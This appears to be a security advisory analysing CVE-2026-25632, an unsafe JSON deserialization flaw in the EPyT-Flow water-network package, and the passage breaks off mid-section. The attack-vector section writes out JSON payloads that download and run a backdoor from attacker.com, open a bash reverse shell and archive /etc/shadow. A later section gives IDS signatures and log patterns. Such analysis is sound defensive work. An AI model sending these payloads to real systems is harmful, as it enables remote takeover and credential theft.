CVE-2026-25632: Critical Analysis and Security Assessment

Executive Summary

CVE-2026-25632 represents a critical severity vulnerability (CVSS 10.0) affecting EPyT-Flow, a Python package for water distribution network simulation. The vulnerability enables unauthenticated remote code execution (RCE) through unsafe JSON deserialization, allowing attackers to execute arbitrary OS commands by exploiting the custom my_load_from_json deserializer.

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1. Vulnerability Assessment and Severity Evaluation

Severity Classification

• CVSS Score: 10.0 (Critical)
• Vulnerability Type: Unsafe Deserialization / Arbitrary Code Execution
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: None
• Scope: Changed

Technical Assessment

This vulnerability represents a textbook case of insecure deserialization, specifically:

Root Cause: The custom JSON deserializer (my_load_from_json) implements a dangerous pattern where:

1. It accepts a type field in JSON payloads
2. Dynamically imports modules/classes based on attacker-controlled input
3. Instantiates these classes with attacker-supplied arguments
4. No validation or allowlisting of permitted classes

Severity Justification: The CVSS 10.0 score is warranted because:

• No authentication required for REST API exploitation
• Trivial exploitation - requires only crafted JSON
• Complete system compromise possible via OS command execution
• Affects both API and file processing pathways
• Pre-authentication attack surface in network-accessible deployments

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2. Potential Attack Vectors and Exploitation Methods

Attack Vector Analysis

Vector 1: REST API Exploitation

POST /api/endpoint HTTP/1.1
Content-Type: application/json

{
  "type": "subprocess.Popen",
  "args": [["curl", "http://attacker.com/malware.sh", "-o", "/tmp/payload.sh"]],
  "kwargs": {"shell": false}
}

Vector 2: Malicious JSON File Upload

If the application processes user-uploaded JSON files:

{
  "scenario_data": {
    "type": "os.system",
    "command": "wget http://attacker.com/backdoor && chmod +x backdoor && ./backdoor"
  }
}

Vector 3: Advanced Exploitation Examples

Reverse Shell Establishment:

{
  "type": "subprocess.Popen",
  "args": [["/bin/bash", "-c", "bash -i >& /dev/tcp/attacker.com/4444 0>&1"]],
  "kwargs": {"shell": true}
}

Data Exfiltration:

{
  "type": "subprocess.Popen",
  "args": [["tar", "-czf", "-", "/etc/passwd", "/etc/shadow"]],
  "kwargs": {"stdout": -1}
}

Exploitation Complexity

• Skill Level Required: Low to Medium
• Tooling: Standard HTTP clients (curl, Postman, custom scripts)
• Detection Difficulty: Medium (without proper logging/monitoring)

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3. Affected Systems and Software Versions

Affected Versions

• EPyT-Flow versions: < 0.16.1
• All versions prior to the patch are vulnerable

Affected Deployment Scenarios

High-Risk Environments:

1. Internet-facing REST API deployments - Critical risk
2. Internal network services - High risk (lateral movement potential)
3. Cloud-hosted instances - Critical risk (multi-tenant environments)
4. Docker/containerized deployments - High risk (container escape potential)

Affected Components:

• REST API endpoints accepting JSON input
• File processing modules handling JSON configuration files
• Any code path utilizing my_load_from_json function

Infrastructure Impact

• Water utility SCADA systems using EPyT-Flow for modeling
• Research institutions conducting hydraulic simulations
• Engineering firms performing water network analysis
• Educational platforms teaching water distribution concepts

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4. Recommended Mitigation Strategies

Immediate Actions (Priority 1)

A. Upgrade to Patched Version

# Immediate upgrade
pip install --upgrade EPyT-Flow>=0.16.1

# Verify installation
pip show EPyT-Flow | grep Version

B. Emergency Workarounds (If Immediate Patching Impossible)

Network-Level Controls:

# Restrict API access via firewall
iptables -A INPUT -p tcp --dport <API_PORT> -s <TRUSTED_IP> -j ACCEPT
iptables -A INPUT -p tcp --dport <API_PORT> -j DROP

Application-Level Controls:

• Disable REST API endpoints temporarily
• Implement authentication/authorization if not present
• Deploy Web Application Firewall (WAF) with JSON inspection

Short-Term Mitigations (Priority 2)

C. Input Validation Layer

Implement strict JSON schema validation before processing:

import jsonschema

ALLOWED_SCHEMA = {
    "type": "object",
    "properties": {
        # Define only legitimate fields
        # Explicitly exclude "type" field
    },
    "additionalProperties": False
}

def validate_input(json_data):
    jsonschema.validate(instance=json_data, schema=ALLOWED_SCHEMA)

D. Monitoring and Detection

Deploy detection rules for exploitation attempts:

SIEM/IDS Signatures:

alert http any any -> any any (
  msg:"Potential EPyT-Flow RCE Attempt";
  content:"type"; http_client_body;
  content:"subprocess"; http_client_body;
  sid:1000001;
)

Log Analysis Patterns:

• JSON payloads containing "type": "subprocess"
• JSON payloads containing "type": "os.system"
• Unusual process spawning from Python interpreter
• Network connections from EPyT-Flow processes

Long-Term Security Enhancements (Priority 3)

E. Defense-in-Depth Architecture

1. Principle of Least Privilege:

   • Run EPyT-Flow services under dedicated low-privilege user
   • Implement container security policies (AppArmor/SELinux)

2. Network Segmentation:

   • Isolate EPyT-Flow services in dedicated VLAN
   • Implement micro-segmentation for API access

3. Security Hardening:

# Example Docker hardening
FROM python:3.11-slim
RUN useradd -m -u 1000 epytflow
USER epytflow
RUN pip install EPyT-Flow>=0.16.1
# Drop capabilities, read-only filesystem where possible

F. Code Review and Security Testing

• Implement automated dependency scanning (Snyk, Dependabot)
• Regular penetration testing of API endpoints
• Static Application Security Testing (SAST) integration

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5. Impact on Cybersecurity Landscape

Critical Infrastructure Implications

Water Sector Concerns:

• EPyT-Flow is used in critical water infrastructure modeling
• Compromise could lead to:
  • Manipulation of hydraulic models affecting real-world decisions
  • Data theft of sensitive infrastructure layouts
  • Pivot point for attacks on operational technology (OT) networks

Broader Security Implications

A. Insecure Deserialization Trend

This vulnerability highlights ongoing challenges with:

• Custom serialization implementations in Python ecosystem
• Lack of secure-by-default deserialization libraries
• Developer awareness gaps regarding deserialization risks

B. Supply Chain Risk

• Demonstrates vulnerability propagation through dependency chains
• Organizations using EPyT-Flow may be unaware of exposure
• Highlights need for Software Bill of Materials (SBOM) practices

C. API Security Posture

• Reinforces importance of API security testing
• Demonstrates risks of accepting complex structured data without validation
• Emphasizes need for API security gateways

Industry Response Recommendations

For Software Vendors: